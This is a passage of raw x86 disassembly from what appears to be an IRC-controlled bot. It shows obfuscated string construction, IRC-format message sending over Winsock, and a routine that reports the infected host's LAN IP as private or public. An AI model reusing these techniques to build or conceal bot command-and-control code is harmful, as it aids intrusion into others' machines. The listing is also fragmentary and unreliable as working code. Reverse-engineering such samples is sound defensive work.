mov byte ptr [esp+44h+arg_246C], 35h
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
mov [esp+50h+var_C], esp
push offset asc_444C68 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
mov ecx, offset word_44AC6E
mov byte ptr [esp+50h+arg_246C], 37h
call sub_40212B
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_401226
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp short loc_4113F7
; ---------------------------------------------------------------------------
loc_4113F0: ; CODE XREF: sub_410030+391j
mov ecx, ebp
call sub_401D20
loc_4113F7: ; CODE XREF: sub_410030+1D3j
; sub_410030+253j ...
cmp [ebp+17h], bl
jnz loc_410072
loc_411400: ; CODE XREF: sub_410030+3Cj
; sub_410030+4Fj
lea ecx, [esp+20h+var_8]
mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_410030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 500h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411930 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411930
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_402072
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411930 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4119B0: ; CODE XREF: ___:loc_40115Ej
; ___:004016F4j
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_4119C8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4119C8: ; CODE XREF: ___:004119BDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4119E0 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4119E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401979
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4119E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411A60 proc near ; CODE XREF: sub_402072j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411A60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411B20 proc near ; CODE XREF: sub_401979j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411B20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411B20 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411BE0 proc near ; CODE XREF: sub_4019E2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401979
test [esp+4+arg_0], 1
jz short loc_411BF8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_411BF8: ; CODE XREF: sub_411BE0+Dj
mov eax, esi
pop esi
retn 4
sub_411BE0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_411C10 proc near ; CODE XREF: sub_401A19j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411C10
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_411C36
lea edi, [esi+11h]
jmp short loc_411C38
; ---------------------------------------------------------------------------
loc_411C36: ; CODE XREF: sub_411C10+1Fj
xor edi, edi
loc_411C38: ; CODE XREF: sub_411C10+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4019C4
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_4017EE
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_411C10 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C8C
lea ebx, [esi+11h]
jmp short loc_411C8E
; ---------------------------------------------------------------------------
loc_411C8C: ; CODE XREF: ___:00411C85j
xor ebx, ebx
loc_411C8E: ; CODE XREF: ___:00411C8Aj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+38h]
push 9
push edx
call sub_4019C4
add esp, 34h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 1
call sub_4017EE
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411CEB
lea ebx, [esi+11h]
jmp short loc_411CED
; ---------------------------------------------------------------------------
loc_411CEB: ; CODE XREF: ___:00411CE4j
xor ebx, ebx
loc_411CED: ; CODE XREF: ___:00411CE9j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+24h]
push 9
push ecx
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 2
call sub_4017EE
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D40
lea ebx, [esi+11h]
jmp short loc_411D42
; ---------------------------------------------------------------------------
loc_411D40: ; CODE XREF: ___:00411D39j
xor ebx, ebx
loc_411D42: ; CODE XREF: ___:00411D3Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+24h]
push 9
push eax
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 3
call sub_4017EE
lea ecx, [esi+16Ah]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D95
lea ebx, [esi+11h]
jmp short loc_411D97
; ---------------------------------------------------------------------------
loc_411D95: ; CODE XREF: ___:00411D8Ej
xor ebx, ebx
loc_411D97: ; CODE XREF: ___:00411D93j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+20h]
push 9
push edx
call sub_4019C4
add esp, 1Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 4
call sub_4017EE
push eax
lea eax, [esi+1F4h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411DE8
lea ebx, [esi+11h]
jmp short loc_411DEA
; ---------------------------------------------------------------------------
loc_411DE8: ; CODE XREF: ___:00411DE1j
xor ebx, ebx
loc_411DEA: ; CODE XREF: ___:00411DE6j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+2Ch]
push 9
push ecx
call sub_4019C4
add esp, 28h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 5
call sub_4017EE
lea edx, [esi+0B2h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E41
lea ebx, [esi+11h]
jmp short loc_411E43
; ---------------------------------------------------------------------------
loc_411E41: ; CODE XREF: ___:00411E3Aj
xor ebx, ebx
loc_411E43: ; CODE XREF: ___:00411E3Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019C4
add esp, 38h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 6
call sub_4017EE
lea ecx, [esi+56h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E9F
lea ebx, [esi+11h]
jmp short loc_411EA1
; ---------------------------------------------------------------------------
loc_411E9F: ; CODE XREF: ___:00411E98j
xor ebx, ebx
loc_411EA1: ; CODE XREF: ___:00411E9Dj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+30h]
push 9
push edx
call sub_4019C4
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 7
call sub_4017EE
push eax
lea eax, [esi+10Eh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411EFA
lea ebx, [esi+11h]
jmp short loc_411EFC
; ---------------------------------------------------------------------------
loc_411EFA: ; CODE XREF: ___:00411EF3j
xor ebx, ebx
loc_411EFC: ; CODE XREF: ___:00411EF8j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+30h]
push 9
push ecx
call sub_4019C4
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 8
call sub_4017EE
lea edx, [esi+198h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411F55
lea ebx, [esi+11h]
jmp short loc_411F57
; ---------------------------------------------------------------------------
loc_411F55: ; CODE XREF: ___:00411F4Ej
xor ebx, ebx
loc_411F57: ; CODE XREF: ___:00411F53j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 9
call sub_4017EE
add esi, 13Ch
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+44h], edi
call sub_401226
mov ecx, [esp+3Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4120B0 proc near ; CODE XREF: sub_401ACDj
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4120B0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_4125D9
lea ecx, [edi+26Dh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_4125D9
lea ecx, [edi+0A1h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4121B2
push offset asc_444600 ; " "
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
mov edx, dword_4490D0
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSSS_1 ; "%s %s :%s\r\n"
push edi
call sub_401E24
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4121B2: ; CODE XREF: sub_4120B0+70j
lea ecx, [edi+187h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_412229
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401D4D
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_4017EE
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_401857
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_412229: ; CODE XREF: sub_4120B0+117j
lea ecx, [edi+0FDh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4122E4
push offset asc_444600 ; " "
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4018B1
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_401226
test ebx, ebx
jz loc_412602
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401D4D
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_4017EE
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_401857
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4122E4: ; CODE XREF: sub_4120B0+18Ej
lea ecx, [edi+12Bh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41238D
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea edx, [esp+98h+var_6C]
mov ebx, 5
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
mov eax, dword_4490D4
push eax
add edi, 0FFFFFFEFh
push offset aSSS_0 ; "%s %s %s\r\n"
push edi
call sub_401E24
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_41238D: ; CODE XREF: sub_4120B0+249j
lea ecx, [edi+1B5h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_4123FB
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_4017EE
mov edx, dword_449100
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSS_0 ; "%s %s\r\n"
push edi
call sub_401E24
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4123FB: ; CODE XREF: sub_4120B0+2F2j
lea ecx, [edi+23Fh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41245D
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401E47
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_4017EE
push eax
add edi, 0FFFFFFEFh
push offset aS_3 ; "%s\r\n"
push edi
call sub_401E24
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_41245D: ; CODE XREF: sub_4120B0+360j
lea ecx, [edi+1E3h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4124FD
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, eax
push 1
push offset asc_444600 ; " "
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011EA
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_4014DD
push eax
mov ecx, esi
call sub_4014DD
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_401118
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4124FD: ; CODE XREF: sub_4120B0+3C2j
lea ecx, [edi+159h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412602
push offset asc_444600 ; " "
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_4016B8
mov ebx, eax
push offset asc_444600 ; " "
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
mov eax, dword_449104
push eax
add edi, 0FFFFFFEFh
push offset aSSSS ; "%s %s %s %s\r\n"
push edi
call sub_401E24
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_401226
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401226
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_412602
; ---------------------------------------------------------------------------
loc_4125D9: ; CODE XREF: sub_4120B0+3Aj
; sub_4120B0+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC6E
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_401541
loc_412602: ; CODE XREF: sub_4120B0+FDj
; sub_4120B0+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_4120B0 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412780 proc near ; CODE XREF: sub_401D4Dj
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_412780
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push esi
mov esi, ecx
lea ecx, [esp+50h+var_24]
mov [esp+50h+var_48], 0
call sub_40142E
xor eax, eax
lea ecx, [esp+50h+var_4C]
mov [esp+50h+var_44], eax
lea edx, [esp+50h+var_44]
mov [esp+50h+var_40], eax
push ecx
mov [esp+54h+var_3C], eax
push edx
mov [esp+58h+var_38], eax
mov eax, [esi+18h]
push eax
mov [esp+5Ch+var_4], 1
mov [esp+5Ch+var_4C], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+50h+var_40+3]
mov edx, [esp+50h+var_40+2]
mov eax, [esp+50h+var_40+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+54h+var_40]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+60h+var_34]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call sub_5F74D1
add esp, 18h
lea ecx, [esp+50h+var_24]
push offset byte_448F40
call sub_4015E1
push offset aLan ; "lan: "
lea ecx, [esp+54h+var_24]
call sub_401AAF
lea eax, [esp+50h+var_34]
lea ecx, [esp+50h+var_24]
push eax
call sub_401AAF
push offset a_ ; ". "
lea ecx, [esp+54h+var_24]
call sub_401AAF
add esi, 28h
lea ecx, [esp+50h+var_24]
push esi
call sub_4016C7
push offset a_ ; ". "
lea ecx, [esp+54h+var_24]
call sub_401AAF
lea ecx, [esp+50h+var_34]
push ecx
call sub_401483
add esp, 4
test al, al
jz short loc_41288B
push offset aPrivate ; "[PRIVATE]"
jmp short loc_412890
; ---------------------------------------------------------------------------
loc_41288B: ; CODE XREF: sub_412780+102j
push offset aPublic ; "[PUBLIC]"
loc_412890: ; CODE XREF: sub_412780+109j
lea ecx, [esp+54h+var_24]
call sub_401AAF
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_24]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+50h+var_48], 1
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
mov ecx, [esp+50h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 4Ch
retn 4
sub_412780 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412940 proc near ; CODE XREF: sub_40158Cj
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
call near ptr 71AB428Ah
nop
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_41299E
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC6E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401541
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_41299E: ; CODE XREF: sub_412940+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_412940 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4129D0 proc near ; CODE XREF: sub_401E24j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_437B30
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_40158C
add esp, 2000h
retn
sub_4129D0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412A40 proc near ; CODE XREF: sub_401118j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_412A40
push eax
mov al, [esp+0Ch+arg_0]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_412A77
xor al, al
pop esi
mov ecx, [esp+3Ch+var_C]
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
loc_412A77: ; CODE XREF: sub_412A40+21j
lea ecx, [esp+40h+var_3C]
call sub_40142E
mov al, [esp+40h+arg_4]
mov [esp+40h+var_4], 0
test al, al
jz short loc_412A98
mov eax, dword_4490D0
push eax
jmp short loc_412A9F
; ---------------------------------------------------------------------------
loc_412A98: ; CODE XREF: sub_412A40+4Ej
mov ecx, dword_4490D8
push ecx
loc_412A9F: ; CODE XREF: sub_412A40+56j
lea ecx, [esp+44h+var_3C]
call sub_4015E1
push ebx
lea ecx, [esp+44h+var_24]
call sub_40142E
mov edx, [esp+44h+arg_8]
mov eax, [esp+44h+arg_C]
push edx
push eax
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+50h+var_24]
push offset aSSS_1 ; "%s %s :%s\r\n"
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+44h+var_24]
call sub_4014DD
push eax
mov ecx, esi
call sub_40158C
lea ecx, [esp+44h+var_24]
mov bl, al
mov byte ptr [esp+44h+var_4], 0
call sub_401226
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+44h+var_C]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_412A40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B70 proc near ; CODE XREF: sub_401857j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov eax, 2000h
call sub_437B30
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
call near ptr 77C3FF8Ah
nop
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_401118
add esp, 2000h
retn
sub_412B70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412BF0 proc near ; CODE XREF: sub_401D20j
push esi
mov esi, ecx
call sub_401FD7
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_412BF0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
